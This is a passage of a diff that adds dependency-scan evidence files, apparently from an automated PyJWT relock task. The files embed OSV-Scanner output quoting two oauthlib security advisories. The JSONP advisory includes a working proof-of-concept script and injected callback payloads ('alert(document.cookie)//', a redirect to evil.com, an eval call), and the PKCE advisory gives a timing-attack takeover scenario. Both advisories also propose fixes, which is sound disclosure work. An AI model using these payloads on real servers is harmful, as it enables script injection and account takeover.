\"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt new file mode 100644 index 000000000..62f61601f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt @@ -0,0 +1,247 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/empty-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T17:15:29.442537+00:00 +ended_utc: 2026-09-30T17:15:30.093956+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 25.02593ms elapsed, 25.02603ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt new file mode 100644 index 000000000..980ac6d7b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt @@ -0,0 +1,17 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--group", "tests", "--constraints", "/constraints.txt", "--index-url", "https://pypi.org/simple"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:12:03.295271+00:00 +ended_utc: 2026-09-30T17:12:03.525583+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 6 packages in 123ms +Prepared 1 package in 30ms +Installed 4 packages in 23ms + + coverage==7.10.7 + + iniconfig==2.3.0 + + pluggy==1.6.0 + + pytest==8.4.2 diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt new file mode 100644 index 000000000..a0fc4880c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "date", "-u", "+%Y-%m-%dT%H:%M:%SZ"] +cwd: +started_utc: 2026-09-30T17:01:25.891166+00:00 +ended_utc: 2026-09-30T17:01:25.913042+00:00 +exit_code: 0 + +stdout: +2026-09-30T17:01:25Z + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json new file mode 100644 index 000000000..60a7b924c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json @@ -0,0 +1,1415 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "raw_output_policy": { + "private": "Original native stdout/stderr bytes remain in task scratch with raw hashes in the ledger; source/test archives remain private and unmodified.", + "public": "Returned output copies apply declared host/task path substitutions, generic source/session identifier masking and public JWT example masking. Test execution always uses untouched original source; public output masking is never a test-source change.", + "placeholders": [ + "", + "", + "", + "", + "", + "", + "" + ], + "classification": "Sanitized copies of actual native returns; command-level private raw and public sanitized hashes remain separate." + }, + "commands": [ + { + "id": "clock-cutoff-check", + "argv": [ + "rtk", + "proxy", + "date", + "-u", + "+%Y-%m-%dT%H:%M:%SZ" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:25.891166+00:00", + "ended_utc": "2026-09-30T17:01:25.913042+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "bf96341d354616daad3fe552026cbd6918888e38a78cd45d929f10b146e66bc6", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "bf96341d354616daad3fe552026cbd6918888e38a78cd45d929f10b146e66bc6", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", + "returned_output_sha256": "91392e5648d2ac348f910ed4bf3de46ddf5b19f213ee61ab623dad3b7341f394" + }, + { + "id": "uv-version", + "argv": [ + "rtk", + "proxy", + "uv", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:25.914076+00:00", + "ended_utc": "2026-09-30T17:01:25.942025+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", + "returned_output_sha256": "a6bd49a719d9038dd76f1ba7f2ba806145fd613e5e518f71080ff0fac74b5bbc" + }, + { + "id": "pyjwt-pypi", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "https://pypi.org/pypi/PyJWT/2.15.0/json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:25.943144+00:00", + "ended_utc": "2026-09-30T17:01:26.015903+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "d7d239d115c9442eed19860676c23a4132a38a3880d5722da57fe2e0bd80f570", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "60f294be4deb58d439a53d4324112b0d93b4e9989e0d5ee421b2178abee7008a", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", + "returned_output_sha256": "ceb456b980d874d3af84c01749e77ce8a47c3edfec26da57a57ca6d8948ef880" + }, + { + "id": "sdk-source-download", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "--output", + "/sdk-source.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:26.017123+00:00", + "ended_utc": "2026-09-30T17:01:26.739979+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", + "returned_output_sha256": "d0eef999df6805ca32d4cdecf335457d789cd2177db193d3a9dcb56b563fa697" + }, + { + "id": "sdk-source-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/sdk-source.tar.gz", + "-C", + "/source" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:26.746990+00:00", + "ended_utc": "2026-09-30T17:01:27.277240+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", + "returned_output_sha256": "77321232e78b83b2b1d4ad3500df609400f60da4b35e51a47337eea92c383e59" + }, + { + "id": "sdk-source-repro-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/sdk-source.tar.gz", + "-C", + "/source-repro" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:27.278175+00:00", + "ended_utc": "2026-09-30T17:01:27.810350+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": 